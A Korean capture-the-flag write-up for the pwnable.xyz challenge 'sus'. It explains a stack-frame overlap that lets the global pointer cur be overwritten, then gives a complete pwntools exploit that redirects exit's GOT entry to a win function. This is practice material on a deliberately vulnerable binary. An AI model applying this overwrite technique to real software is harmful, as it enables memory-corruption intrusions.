문제 풀이 환경 : Ubuntu 16.04
📝 Analysis
<< Mitigation >>
다행히도 풀밭이 아니다.
<< Execution >>
<< Code >>
· main
main은 메뉴별 기능을 사용자로부터 입력받고 해당 기능에 맞는 함수를 호출해줄 뿐이다.
· create_user
문제 이름에서도 밝혔듯이 하나의 유저 공간만을 할당해준다. 이미 저장된 힙 공간이 있다면 그냥 값을 수정해주는 기능밖에 하지 못한다.
그런데 여기서 수상한 점은 쓸데없이 큰 공간을 할당해주고 있다는 것이다. 무려 0x1060 만큼이나 말이다. 무언가 힌트가 될 것 같으니 기억해두자.
· print_user
그냥 cur 전역 변수의 값을 가지고 프린트해주는 함수다.
· edit_user
cur 전역변수에 저장된 값을 기준으로 Name과 Age를 수정해주는 함수다.
create_user 함수에서도 보였던 이상한 크기의 스택 할당을 보인다.
· win
system('cat flag') 를 부르는 함수다. 이 함수를 부르도록 하면 될 것이다.
✨Thinking
이건 전역 변수인 cur이 가리키는 값을 조작해서 푸는 문제라는 건 바로 깨달을 수 있었지만 그냥 보기에는 임의 주소 쓰기 같은 방법이 딱히 떠오르지 않아 헷갈렸었다.
하지만 이후에 위에서도 언급했었던 stack alignment의 크기가 제작자가 준 힌트라고 생각하고 스택에서의 함수의 프롤로그, 에필로그 프로세스를 살펴보았다.
<< Process >>
1. main 함수를 기준으로 각 메뉴의 기능이 실행되고, 종료되면 다시 main 함수 스택으로 복귀(ret)한다.
즉 메뉴의 기능들이 실행되면서 값들이 겹칠 수 있다!
2. create_user, edit_user의 stack alignment. 그리고 edit_user의 read_int32의 stack alignment.
위의 그림과 같이 stack이 겹쳐지게 된다. 그래서 임시로 buf에 담아서 age를 atoi로 바꾸어 다른 장소에다 저장하려는 시도는 read_int32 함수 내 저 임시 버퍼 buf 때문에 cur이 가리키는 값을 임의로 변경할 수 있게 되는 것이다!
🧩 Exploit Scenario
1. create_user로 전역 변수 cur에 스택 주소 저장해주기
2. edit_user 불러서 cur 덮어주기
3. 다시 edit_user 불러서 cur가 가리키고 있는 곳 바꿔주기
- Full RELRO도 아니겠다해서 시간 지나면 자동으로 불러지는 exit 함수의 got를 덮어주기로 했다.
🚩 Flag 🚩
from pwn import *
context.arch = 'amd64'
# context.log_level = 'debug'
# p = process('./sus')
p = remote('svc.pwnable.xyz', 30011)
e = ELF('./sus')
def create_user(name, age):
p.sendlineafter('> ', '1')
p.sendafter('Name: ', name)
p.sendafter('Age: ', age)
def edit_user(name, age):
p.sendlineafter('> ', '3')
p.sendafter('Name: ', name)
p.sendafter('Age: ', age)
exit_got = 0x602070
win = e.sym['win']
create_user('1', '1')
edit_user('hehe', b'A' * 0x10 + p64(exit_got))
edit_user(p64(win), '0')
p.interactive()
exit 함수의 트리거가 alarm 함수인만큼 1분을 기다리면 나온다.